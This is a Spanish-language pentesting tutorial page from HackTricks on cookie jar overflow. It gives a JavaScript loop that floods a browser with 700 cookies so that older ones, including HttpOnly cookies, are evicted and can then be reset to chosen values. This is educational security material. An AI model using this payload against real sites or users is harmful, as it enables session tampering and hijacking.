hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md

3.2 KiB

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Los navegadores tienen un límite en el número de cookies que pueden almacenar para una página. Entonces, si por alguna razón necesitas hacer desaparecer una cookie, puedes desbordar el bote de cookies ya que las más antiguas serán eliminadas primero:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Tenga en cuenta que las cookies de terceros que apuntan a un dominio diferente no se sobrescribirán.

{% hint style="danger" %} Este ataque también se puede utilizar para sobrescribir cookies HttpOnly ya que puedes eliminarlas y luego restablecerlas con el valor que desees.

Comprueba esto en este post con un laboratorio. {% endhint %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: